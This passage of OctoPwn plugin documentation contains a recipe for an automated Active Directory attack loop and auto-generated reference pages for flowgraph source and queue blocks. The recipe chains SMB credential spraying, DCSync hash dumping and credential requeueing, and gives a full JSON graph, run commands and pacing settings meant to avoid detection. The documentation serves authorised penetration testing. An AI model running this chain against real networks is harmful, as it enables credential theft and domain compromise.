the DCSync hashes from pass 1; they are re-emitted as "new credentials" and routed through `CREDMUX`, `SCANNER_SMBADMIN` and `CMD_DCSYNC` again — but only against targets that have not already been admin-checked with the same credential thanks to `skip_done=true`. The third pass: - Probably nothing new at all. `seen_*` did not grow; both queues are empty. The runloop logs "Nothing new after iteration 3. Done." and exits. --- ## Block-by-block - [`SOURCE_RAW_TARGETS`](../blocks/sources.md) + [`STORE_TARGETS`](../blocks/sources.md) — boots the project with the raw inputs; subsequent passes ignore this branch because the raw source only fires once. - [`SOURCE_TARGETS_NEW`](../blocks/sources.md) + [`SOURCE_CREDENTIALS_NEW`](../blocks/sources.md) — the actual pulse of the runloop. Anything queued or freshly added between passes is what each pass actually sees. - [`SCANNER_PORTSCAN`](../blocks/scanners.md) with `skip_target=true` — only re-scans hosts that have not produced results yet. Important: without this you re-scan everything every pass. - [`FILTER_TARGETS`](../blocks/filters.md) — restrict to hosts with 445/TCP open. - [`SCANNER_SMBFINGER`](../blocks/scanners.md) — populates the asset inventory; `TAP_SINK` makes the results inspectable. - [`SCANNER_SMBADMIN`](../blocks/scanners.md) with `skip_done=true` — does not retry `(host, credential)` pairs already attempted. - [`OPEN_SESSION_DCEDRSUAPI`](../blocks/sessions.md) + [`CMD_DCSYNC`](../blocks/attacks.md) — only fires against the successful admin pairs (the `FILTER` checks `SHARE==true`). - [`CREDENTIAL_QUEUE`](../blocks/queues-sinks.md) — feeds the next pass. The `skip_done` / `skip_target` flags are crucial here. Without them, every pass redoes everything and the runloop never converges. --- ## Saved graph ```json { "id": "runloop-discover-iterate", "name": "Runloop convergence", "description": "Self-feeding discovery + spray + DCSync pipeline.", "nodes": [ {"id": "raw-1", "block_type_id": "SOURCE_RAW_TARGETS", "params": {"targets": ["192.168.1.0/24"]}, "position": {"x": 0, "y": 0}}, {"id": "store-1", "block_type_id": "STORE_TARGETS", "params": {}, "position": {"x": 260, "y": 0}}, {"id": "tgt-1", "block_type_id": "SOURCE_TARGETS_NEW", "params": {}, "position": {"x": 0, "y": 140}}, {"id": "ps-1", "block_type_id": "SCANNER_PORTSCAN", "params": {"ports": ["445"], "skip_target": true, "timeout": 4}, "position": {"x": 260, "y": 140}}, {"id": "pf-1", "block_type_id": "FILTER_TARGETS", "params": {"key": "port", "op": "eq", "value": "445"}, "position": {"x": 520, "y": 140}}, {"id": "smbf-1", "block_type_id": "SCANNER_SMBFINGER", "params": {"timeout": 8}, "position": {"x": 780, "y": 40}}, {"id": "tap-1", "block_type_id": "TAP_SINK", "params": {}, "position": {"x": 1040, "y": 40}}, {"id": "cred-1", "block_type_id": "SOURCE_CREDENTIALS_NEW", "params": {}, "position": {"x": 0, "y": 320}}, {"id": "mux-1", "block_type_id": "CREDMUX", "params": {}, "position": {"x": 260, "y": 320}}, {"id": "spray-1", "block_type_id": "SCANNER_SMBADMIN", "params": {"skip_done": true, "timeout": 8}, "position": {"x": 780, "y": 220}}, {"id": "adm-1", "block_type_id": "FILTER", "params": {"key": "SHARE", "op": "eq", "value": "true"}, "position": {"x": 1040, "y": 220}}, {"id": "open-1", "block_type_id": "OPEN_SESSION_DCEDRSUAPI", "params": {"atype": "NTLM"}, "position": {"x": 1300, "y": 220}}, {"id": "dcsync-1", "block_type_id": "CMD_DCSYNC", "params": {"storecreds": true}, "position": {"x": 1560, "y": 220}}, {"id": "cq-1", "block_type_id": "CREDENTIAL_QUEUE", "params": {}, "position": {"x": 1820, "y": 220}}, {"id": "drop-1", "block_type_id": "TERMINATOR_SINK", "params": {}, "position": {"x": 1300, "y": 420}} ], "edges": [ {"id": "e01", "from_node": "raw-1", "from_port": "target", "to_node": "store-1", "to_port": "raw_target"}, {"id": "e02", "from_node": "tgt-1", "from_port": "target", "to_node": "ps-1", "to_port": "target"}, {"id": "e03", "from_node": "ps-1", "from_port": "result", "to_node": "pf-1", "to_port": "target"}, {"id": "e04", "from_node": "pf-1", "from_port": "match", "to_node": "smbf-1", "to_port": "target"}, {"id": "e05", "from_node": "pf-1", "from_port": "match", "to_node": "spray-1", "to_port": "target"}, {"id": "e06", "from_node": "pf-1", "from_port": "match", "to_node": "open-1", "to_port": "host"}, {"id": "e07", "from_node": "smbf-1", "from_port": "result", "to_node": "tap-1", "to_port": "data"}, {"id": "e08", "from_node": "cred-1", "from_port": "credential", "to_node": "mux-1", "to_port": "credential_in"}, {"id": "e09", "from_node": "mux-1", "from_port": "smb", "to_node": "spray-1", "to_port": "credential"}, {"id": "e10", "from_node": "mux-1", "from_port": "dcedrsuapi", "to_node": "open-1", "to_port": "credential"}, {"id": "e11", "from_node": "spray-1", "from_port": "result", "to_node": "adm-1", "to_port": "data"}, {"id": "e12", "from_node": "adm-1", "from_port": "match", "to_node": "open-1", "to_port": "host"}, {"id": "e13", "from_node": "adm-1", "from_port": "no_match", "to_node": "drop-1", "to_port": "data"}, {"id": "e14", "from_node": "open-1", "from_port": "session", "to_node": "dcsync-1", "to_port": "session"}, {"id": "e15", "from_node": "open-1", "from_port": "error", "to_node": "drop-1", "to_port": "data"}, {"id": "e16", "from_node": "dcsync-1", "from_port": "result", "to_node": "cq-1", "to_port": "credential"} ] } ``` Run it with: ``` > loadfile /tmp/runloop-discover-iterate.json > resetstate > runloop 10 ``` `runloop 10` caps it to ten iterations so a runaway misconfiguration does not eat your engagement window. --- ## Assembled view ![Assembled runloop pipeline](/images/flowgraph/recipe-runloop-discover-iterate.png "Assembled runloop pipeline") --- ## Variations - **Add a roast + crack branch.** Combine with the [Kerberoast and crack](kerberoast-and-crack.md) recipe by adding its blocks alongside this graph. Both branches feed the same `CREDENTIAL_QUEUE` and `SOURCE_CREDENTIALS_NEW`, so the runloop converges across both attack paths at once. - **Wrap the SMB sub-chain as a composite.** Select `SOURCE_TARGETS_NEW → … → SCANNER_SMBADMIN` and turn it into a named composite (`COMPOSITE_SMBDiscovery`). The top-level graph becomes much easier to read; the composite is reusable in other engagements. - **Opsec-tighten everything.** Set the global pacing knobs first: `setmaxconcurrent 3`, `setrate 18`, `setjitter 1 4`, `setdelay 30`. The runloop still converges; it just gets there over the next hour rather than the next ninety seconds. --- # [Automations / Block reference] All categories Source: https://docs.octopwn.com/plugins/automations/flowgraph/blocks/index.html <!-- AUTO-GENERATED — DO NOT EDIT BY HAND. Regenerate via: python scripts/generate_flowgraph_reference.py Source of truth: octopwn/enterprise/flowgraph/registry.py. --> # Block reference Complete, auto-generated reference for the **172** block types the flowgraph engine knows about. Regenerated from `octopwn/enterprise/flowgraph/registry.py` on every release — see the comment at the top of each page for the regeneration command. For the high-level mental model, start with the [core concepts](../concepts.md) page; for examples that wire these blocks together end-to-end, see the [recipes](../recipes/index.md). ## Pages ### [Sources & prompts](sources.md) — 42 block(s) Inject credentials, targets, sessions or interactive prompts into the pipeline. *Covers categories: `SOURCE`, `PROMPT_SOURCE`.* ### [Queues, sinks, taps and console](queues-sinks.md) — 24 block(s) Terminate pipelines, feed items back into the next runloop iteration, log items inline, or trigger another engine pass. *Covers categories: `QUEUE`, `SINK`, `TAP`, `CONSOLE`.* ### [CredMux](credmux.md) — 1 block(s) Routes a single credential stream onto protocol-typed output ports so each downstream block only sees credentials it can use. *Covers categories: `CREDMUX`.* ### [Filters, gates and collectors](filters.md) — 6 block(s) Conditional routing, flow gating, deduplication and port-gating of items as they move through the graph. *Covers categories: `FILTER`.* ### [Scanners](scanners.md) — 49 block(s) One block per entry in `OCTOPWN_SCANNER_TABLE` — all OctoPwn scanners exposed as flowgraph nodes. *Covers categories: `SCANNER`.* ### [Sessions and ID splitters](sessions.md) — 17 block(s) Open authenticated client sessions and unpack session / error items back into typed target + credential streams. *Covers categories: `SESSION`.* ### [Session commands](commands.md) — 15 block(s) Run any client command (LDAP, SMB, RDP, …) over a live session — the same surface as the interactive console. *Covers categories: `COMMAND`.* ### [Attacks](attacks.md) — 8 block(s) Curated, opinionated wrappers around the most common post-auth attacks (Kerberoast, DCSync, DPAPI, ADCS ESC1/4, …). *Covers categories: `ATTACK`.* ### [Enumeration](enumeration.md) — 4 block(s) Stream domain objects (users, computers, ADCS templates, trusts) from an open LDAP session. *Covers categories: `ENUMERATION`.* ### [Transforms](transforms.md) — 3 block(s) Convert credentials from one form to another — PKINIT U2U PFX → NT hash, hashcat wordlist / mask cracking. *Covers categories: `TRANSFORM`.* ### [Script](script.md) — 1 block(s) Drop a user-authored Python coroutine into the middle of a pipeline when the built-in vocabulary is not enough. *Covers categories: `SCRIPT`.* ### [Composites and boundaries](composite.md) — 2 block(s) Boundary blocks used to define the external port surface of reusable, named composite sub-flowgraphs. *Covers categories: `BOUNDARY`.* --- # [Automations / Block reference] Sources & prompts Source: https://docs.octopwn.com/plugins/automations/flowgraph/blocks/sources.html <!-- AUTO-GENERATED — DO NOT EDIT BY HAND. Regenerate via: python scripts/generate_flowgraph_reference.py Source of truth: octopwn/enterprise/flowgraph/registry.py. --> # Sources & prompts Source blocks inject data into a flowgraph. Most pipelines start with one or more `SOURCE_*` blocks that emit credentials, targets, or live sessions from the OctoPwn project store. `*_NEW` variants only emit items not yet processed in the current runloop iteration and are the building blocks of feedback loops — pair them with the matching `*_QUEUE` sink in [queues & sinks](queues-sinks.md). `PROMPT_SOURCE_*` blocks ask the operator for a value via a UI dialog at run time and are intended for tutorial / demo graphs. --- **42 block type(s) in this category.** --- ### `SOURCE_CREDENTIALS` *Category: `SOURCE`* Emits ALL credentials currently in the OctoPwn credential store (full snapshot). Use in single-shot runs or when you want every credential every iteration. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `credential` | output | `credential` | no | Credential object from the store | **Parameters** *No parameters.* --- ### `SOURCE_CREDENTIALS_NEW` *Category: `SOURCE`* Emits only credentials not seen in a previous runloop iteration, plus any credentials pushed into a CREDENTIAL_QUEUE. In a single-shot run behaves like SOURCE_CREDENTIALS. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `credential` | output | `credential` | no | Credential not yet processed in this runloop | **Parameters** *No parameters.* --- ### `SOURCE_TARGETS` *Category: `SOURCE`* Emits ALL targets currently in the OctoPwn target store (full snapshot). Use in single-shot runs or when you want every target every iteration. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | output | `scan_result` | no | Target object from the store | **Parameters** *No parameters.* --- ### `SOURCE_TARGETS_NEW` *Category: `SOURCE`* Emits only targets not seen in a previous runloop iteration, plus any targets pushed into a TARGET_QUEUE. In a single-shot run behaves like SOURCE_TARGETS. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | output | `scan_result` | no | Target not yet processed in this runloop | **Parameters** *No parameters.* --- ### `TARGET_QUEUE_NAMED_OUT` *Category: `SOURCE`* Emits stored targets from a named queue filled by TARGET_QUEUE_NAMED_IN (same name and persist flag). repeat=True re-emits the same list on every engine pass; repeat=False clears the queue after emitting. Use persist=True to share the bucket across RERUN passes; persist=False uses a per-pass bucket cleared at each pass start. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | output | `scan_result` | no | Target dict with __tid from the named queue | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `name` | `str` | | yes | Queue name — must match TARGET_QUEUE_NAMED_IN | | `persist` | `bool` | true | no | True: persistent bucket across passes (match IN). False: ephemeral bucket cleared each pass start. | | `repeat` | `bool` | true | no | True: keep queue after emit. False: drain queue after this emit. | --- ### `SOURCE_RAW_TARGETS` *Category: `SOURCE`* Emits user-supplied raw target strings (IPs, hostnames, CIDR ranges) exactly once per run. Output type is raw_target — connects to scanners, attacks, and utils only. Use STORE_TARGETS to convert to stored targets for OPEN_SESSION_* blocks. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | output | `raw_target` | no | Raw target string as {value: str} — feeds scanners/attacks/utils | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `targets` | `list` | | yes | Targets — IPs, hostnames, CIDRs, comma-separated | --- ### `SOURCE_STATIC_TARGETS` *Category: `SOURCE`* Emits targets from the OctoPwn store by ID, exactly once per run. Specify one or more integer target IDs (as shown in the targets panel). Output connects to OPEN_SESSION_* blocks and scanners. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | output | `scan_result` | no | Stored target dict with __tid set | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `target_ids` | `list` | | yes | Integer target IDs to emit — comma-separated or one per line | --- ### `STORE_TARGETS` *Category: `SOURCE`* Adds raw target strings to the OctoPwn target store and emits stored target dicts. CIDR ranges are skipped with a warning — use SCANNER_PORTSCAN for bulk discovery. Intended for pinning a small number of specific hosts. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `raw_target` | input | `raw_target` | no | Raw target from SOURCE_RAW_TARGETS | | `target` | output | `scan_result` | no | Stored target dict with __tid set | **Parameters** *No parameters.* --- ### `SOURCE_STATIC_CREDENTIALS` *Category: `SOURCE`* Emits credentials from the OctoPwn store by ID, exactly once per run. Specify one or more integer credential IDs (as shown in the credentials panel). **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `credential` | output | `credential` | no | Credential dict with __cid set | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `credential_ids` | `list` | | yes | Integer credential IDs to emit — comma-separated or one per line | --- ### `SOURCE_SESSIONS_KERBEROS` *Category: `SOURCE`* Emits ALL live Kerberos (KRB5) client sessions currently open in OctoPwn (full snapshot). Use when you want every existing KERBEROS session every iteration. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | output | `session_kerberos` | no | KERBEROS session reference: {session_id, target_id, credential_id} | **Parameters** *No parameters.* --- ### `SOURCE_SESSIONS_NEW_KERBEROS` *Category: `SOURCE`* Emits only Kerberos (KRB5) client sessions not seen in a previous runloop iteration, plus any sessions pushed into a SESSION_QUEUE_KERBEROS. In a single-shot run behaves like SOURCE_SESSIONS_KERBEROS. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | output | `session_kerberos` | no | KERBEROS session not yet processed in this runloop | **Parameters** *No parameters.* --- ### `SOURCE_SESSIONS_LDAP` *Category: `SOURCE`* Emits ALL live LDAP client sessions currently open in OctoPwn (full snapshot). Use when you want every existing LDAP session every iteration. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | output | `session_ldap` | no | LDAP session reference: {session_id, target_id, credential_id} | **Parameters** *No parameters.* --- ### `SOURCE_SESSIONS_NEW_LDAP` *Category: `SOURCE`* Emits only LDAP client sessions not seen in a previous runloop iteration, plus any sessions pushed into a SESSION_QUEUE_LDAP. In a single-shot run behaves like SOURCE_SESSIONS_LDAP. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | output | `session_ldap` | no | LDAP session not yet processed in this runloop | **Parameters** *No parameters.* --- ### `SOURCE_SESSIONS_SMB` *Category: `SOURCE`* Emits ALL live SMB client sessions currently open in OctoPwn (full snapshot). Use when you want every existing SMB session every iteration. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | output | `session_smb` | no | SMB session reference: {session_id, target_id, credential_id} | **Parameters** *No parameters.* --- ### `SOURCE_SESSIONS_NEW_SMB` *Category: `SOURCE`* Emits only SMB client sessions not seen in a previous runloop iteration, plus any sessions pushed into a SESSION_QUEUE_SMB. In a single-shot run behaves like SOURCE_SESSIONS_SMB. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | output | `session_smb` | no | SMB session not yet processed in this runloop | **Parameters** *No parameters.* --- ### `SOURCE_SESSIONS_SSH` *Category: `SOURCE`* Emits ALL live SSH client sessions currently open in OctoPwn (full snapshot). Use when you want every existing SSH session every iteration. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | output | `session_ssh` | no | SSH session reference: {session_id, target_id, credential_id} | **Parameters** *No parameters.* --- ### `SOURCE_SESSIONS_NEW_SSH` *Category: `SOURCE`* Emits only SSH client sessions not seen in a previous runloop iteration, plus any sessions pushed into a SESSION_QUEUE_SSH. In a single-shot run behaves like SOURCE_SESSIONS_SSH. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | output | `session_ssh` | no | SSH session not yet processed in this runloop | **Parameters** *No parameters.* --- ### `SOURCE_SESSIONS_NETCAT` *Category: `SOURCE`* Emits ALL live Netcat client sessions currently open in OctoPwn (full snapshot). Use when you want every existing NETCAT session every iteration. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | output | `session_netcat` | no | NETCAT session reference: {session_id, target_id, credential_id} | **Parameters** *No parameters.* --- ### `SOURCE_SESSIONS_NEW_NETCAT` *Category: `SOURCE`* Emits only Netcat client sessions not seen in a previous runloop iteration, plus any sessions pushed into a SESSION_QUEUE_NETCAT. In a single-shot run behaves like SOURCE_SESSIONS_NETCAT. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | output | `session_netcat` | no | NETCAT session not yet processed in this runloop | **Parameters** *No parameters.* --- ### `SOURCE_SESSIONS_RDP` *Category: `SOURCE`* Emits ALL live RDP client sessions currently open in OctoPwn (full snapshot). Use when you want every existing RDP session every iteration. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | output | `session_rdp` | no | RDP session reference: {session_id, target_id, credential_id} | **Parameters** *No parameters.* --- ### `SOURCE_SESSIONS_NEW_RDP` *Category: `SOURCE`* Emits only RDP client sessions not seen in a previous runloop iteration, plus any sessions pushed into a SESSION_QUEUE_RDP. In a single-shot run behaves like SOURCE_SESSIONS_RDP. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | output | `session_rdp` | no | RDP session not yet processed in this runloop | **Parameters** *No parameters.* --- ### `SOURCE_SESSIONS_DNS` *Category: `SOURCE`* Emits ALL live DNS client sessions currently open in OctoPwn (full snapshot). Use when you want every existing DNS session every iteration. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | output | `session_dns` | no | DNS session reference: {session_id, target_id, credential_id} | **Parameters** *No parameters.* --- ### `SOURCE_SESSIONS_NEW_DNS` *Category: `SOURCE`* Emits only DNS client sessions not seen in a previous runloop iteration, plus any sessions pushed into a SESSION_QUEUE_DNS. In a single-shot run behaves like SOURCE_SESSIONS_DNS. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | output | `session_dns` | no | DNS session not yet processed in this runloop | **Parameters** *No parameters.* --- ### `SOURCE_SESSIONS_DCEDRSUAPI` *Category: `SOURCE`* Emits ALL live DCE-DRSUAPI client sessions currently open in OctoPwn (full snapshot). Use when you want every existing DCEDRSUAPI session every iteration. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | output | `session_dcedrsuapi` | no | DCEDRSUAPI session reference: {session_id, target_id, credential_id} | **Parameters** *No parameters.* --- ### `SOURCE_SESSIONS_NEW_DCEDRSUAPI` *Category: `SOURCE`* Emits only DCE-DRSUAPI client sessions not seen in a previous runloop iteration, plus any sessions pushed into a SESSION_QUEUE_DCEDRSUAPI. In a single-shot run behaves like SOURCE_SESSIONS_DCEDRSUAPI. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | output | `session_dcedrsuapi` | no | DCEDRSUAPI session not yet processed in this runloop | **Parameters** *No parameters.* --- ### `SOURCE_SESSIONS_WINRM` *Category: `SOURCE`* Emits ALL live WinRM client sessions currently open in OctoPwn (full snapshot). Use when you want every existing WINRM session every iteration. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | output | `session_winrm` | no | WINRM session reference: {session_id, target_id, credential_id} | **Parameters** *No parameters.* --- ### `SOURCE_SESSIONS_NEW_WINRM` *Category: `SOURCE`* Emits only WinRM client sessions not seen in a previous runloop iteration, plus any sessions pushed into a SESSION_QUEUE_WINRM. In a single-shot run behaves like SOURCE_SESSIONS_WINRM. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | output | `session_winrm` | no | WINRM session not yet processed in this runloop | **Parameters** *No parameters.* --- ### `SOURCE_SESSIONS_NFS3` *Category: `SOURCE`* Emits ALL live NFS client sessions currently open in OctoPwn (full snapshot). Use when you want every existing NFS3 session every iteration. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | output | `session_nfs3` | no | NFS3 session reference: {session_id, target_id, credential_id} | **Parameters** *No parameters.* --- ### `SOURCE_SESSIONS_NEW_NFS3` *Category: `SOURCE`* Emits only NFS client sessions not seen in a previous runloop iteration, plus any sessions pushed into a SESSION_QUEUE_NFS3. In a single-shot run behaves like SOURCE_SESSIONS_NFS3. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | output | `session_nfs3` | no | NFS3 session not yet processed in this runloop | **Parameters** *No parameters.* --- ### `SOURCE_SESSIONS_SNMP` *Category: `SOURCE`* Emits ALL live SNMP client sessions currently open in OctoPwn (full snapshot). Use when you want every existing SNMP session every iteration. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | output | `session_snmp` | no | SNMP session reference: {session_id, target_id, credential_id} | **Parameters** *No parameters.* --- ### `SOURCE_SESSIONS_NEW_SNMP` *Category: `SOURCE`* Emits only SNMP client sessions not seen in a previous runloop iteration, plus any sessions pushed into a SESSION_QUEUE_SNMP. In a single-shot run behaves like SOURCE_SESSIONS_SNMP. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | output | `session_snmp` | no | SNMP session not yet processed in this runloop | **Parameters** *No parameters.* --- ### `SOURCE_SESSIONS_NTP` *Category: `SOURCE`* Emits ALL live NTP client sessions currently open in OctoPwn (full snapshot). Use when you want every existing NTP session every iteration. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | output | `session_ntp` | no | NTP session reference: {session_id, target_id, credential_id} | **Parameters** *No parameters.* --- ### `SOURCE_SESSIONS_NEW_NTP` *Category: `SOURCE`* Emits only NTP client sessions not seen in a previous runloop iteration, plus any sessions pushed into a SESSION_QUEUE_NTP. In a single-shot run behaves like SOURCE_SESSIONS_NTP. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | output | `session_ntp` | no | NTP session not yet processed in this runloop | **Parameters** *No parameters.* --- ### `SOURCE_SESSIONS_MSSQL` *Category: `SOURCE`* Emits ALL live MSSQL client sessions currently open in OctoPwn (full snapshot). Use when you want every existing MSSQL session every iteration. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | output | `session_mssql` | no | MSSQL session reference: {session_id, target_id, credential_id} | **Parameters** *No parameters.* --- ### `SOURCE_SESSIONS_NEW_MSSQL` *Category: `SOURCE`* Emits only MSSQL client sessions not seen in a previous runloop iteration, plus any sessions pushed into a SESSION_QUEUE_MSSQL. In a single-shot run behaves like SOURCE_SESSIONS_MSSQL. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | output | `session_mssql` | no | MSSQL session not yet processed in this runloop | **Parameters** *No parameters.* --- ### `SOURCE_SESSIONS_FTP` *Category: `SOURCE`* Emits ALL live FTP client sessions currently open in OctoPwn (full snapshot). Use when you want every existing FTP session every iteration. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | output | `session_ftp` | no | FTP session reference: {session_id, target_id, credential_id} | **Parameters** *No parameters.* --- ### `SOURCE_SESSIONS_NEW_FTP` *Category: `SOURCE`* Emits only FTP client sessions not seen in a previous runloop iteration, plus any sessions pushed into a SESSION_QUEUE_FTP. In a single-shot run behaves like SOURCE_SESSIONS_FTP. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | output | `session_ftp` | no | FTP session not yet processed in this runloop | **Parameters** *No parameters.* --- ### `SOURCE_SESSIONS_WMI` *Category: `SOURCE`* Emits ALL live WMI client sessions currently open in OctoPwn (full snapshot). Use when you want every existing WMI session every iteration. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | output | `session_wmi` | no | WMI session reference: {session_id, target_id, credential_id} | **Parameters** *No parameters.* --- ### `SOURCE_SESSIONS_NEW_WMI` *Category: `SOURCE`* Emits only WMI client sessions not seen in a previous runloop iteration, plus any sessions pushed into a SESSION_QUEUE_WMI. In a single-shot run behaves like SOURCE_SESSIONS_WMI. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | output | `session_wmi` | no | WMI session not yet processed in this runloop | **Parameters** *No parameters.* --- ### `PROMPT_SOURCE_CREDENTIAL` *Category: `PROMPT_SOURCE`* Prompts the user for a single credential ID before running. When this block has no credential_id set and the user clicks Run, the frontend shows an input dialog asking for the credential to use. Emits a single credential from the OctoPwn store by ID. Designed for tutorial and example flowgraphs. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `credential` | output | `credential` | no | Credential dict with __cid set | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `credential_id` | `str` | | yes | Credential ID to emit (integer from the credentials panel) | | `continuous` | `bool` | false | no | Re-emit on every engine iteration (default: emit only once) | --- ### `PROMPT_SOURCE_TARGET` *Category: `PROMPT_SOURCE`* Prompts the user for a single target ID before running. When this block has no target_id set and the user clicks Run, the frontend shows an input dialog asking for the target to use. Emits a single stored target from the OctoPwn store by ID. Output connects to OPEN_SESSION_* blocks and scanners. Designed for tutorial and example flowgraphs. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | output | `scan_result` | no | Stored target dict with __tid set | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `target_id` | `str` | | yes | Target ID to emit (integer from the targets panel) | | `continuous` | `bool` | false | no | Re-emit on every engine iteration (default: emit only once) | --- ### `PROMPT_SOURCE_TARGETS` *Category: `PROMPT_SOURCE`* Prompts the user for target strings before running. When this block has no targets set and the user clicks Run, the frontend shows an input dialog asking for target IPs/hostnames. Emits user-supplied raw target strings (IPs, hostnames, CIDR ranges). Output type is raw_target — connects to scanners, attacks, and utils. Use STORE_TARGETS to convert to stored targets for OPEN_SESSION_* blocks. Designed for tutorial and example flowgraphs. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | output | `raw_target` | no | Raw target string as {value: str} — feeds scanners/attacks/utils | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `targets` | `list` | | yes | Targets — IPs, hostnames, CIDRs, comma-separated or one per line | | `continuous` | `bool` | false | no | Re-emit on every engine iteration (default: emit only once) | --- --- # [Automations / Block reference] Queues & sinks Source: https://docs.octopwn.com/plugins/automations/flowgraph/blocks/queues-sinks.html <!-- AUTO-GENERATED — DO NOT EDIT BY HAND. Regenerate via: python scripts/generate_flowgraph_reference.py Source of truth: octopwn/enterprise/flowgraph/registry.py. --> # Queues, sinks, taps and console `QUEUE` blocks are feedback sinks: items wired into a queue are held for the *next* runloop iteration, where the matching `SOURCE_*_NEW` block re-emits them with their "seen" flag cleared. This is how a flowgraph discovers new credentials, queues them, and tries them again on the next pass without manual intervention. `SINK` blocks are terminators — `TERMINATOR_SINK` silently discards items, `FILE_SINK` writes them as JSONL, and the `RERUN_TRIGGER` family schedules another engine pass. `TAP_SINK` is a pass-through probe used to inspect what is flowing through a wire from the results panel. `CONSOLE` does the same plus a formatted log line per item. --- **24 block type(s) in this category.** --- ### `CREDENTIAL_QUEUE` *Category: `QUEUE`* Sink: receives credentials and holds them for the next runloop iteration. SOURCE_CREDENTIALS_NEW will re-emit them as "new" on the next pass, bypassing the seen-ID filter. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `credential` | input | `credential` | no | Credential to queue for next iteration | **Parameters** *No parameters.* --- ### `TARGET_QUEUE` *Category: `QUEUE`* Sink: receives targets and holds them for the next runloop iteration. SOURCE_TARGETS_NEW will re-emit them as "new" on the next pass, bypassing the seen-ID filter. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `scan_result` | no | Target to queue for next iteration | **Parameters** *No parameters.* --- ### `TARGET_QUEUE_NAMED_IN` *Category: `QUEUE`* Sink: extracts __tid / target_id from incoming targets and appends to a named queue for TARGET_QUEUE_NAMED_OUT. Dedupes by target ID. persist=True stores across RERUN passes until resetstate; persist=False uses an ephemeral bucket cleared at each pass start. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `scan_result` | no | Target item with __tid or target_id | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `name` | `str` | | yes | Queue name — must match TARGET_QUEUE_NAMED_OUT | | `persist` | `bool` | true | no | True: persistent across passes. False: ephemeral (cleared each engine pass start). | --- ### `SESSION_QUEUE_KERBEROS` *Category: `QUEUE`* Sink: receives Kerberos (KRB5) client session references and holds them for the next runloop iteration. SOURCE_SESSIONS_NEW_KERBEROS will re-emit them as "new" on the next pass, bypassing the seen-ID filter. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | input | `session_kerberos` | no | KERBEROS session reference to queue for next iteration | **Parameters** *No parameters.* --- ### `SESSION_QUEUE_LDAP` *Category: `QUEUE`* Sink: receives LDAP client session references and holds them for the next runloop iteration. 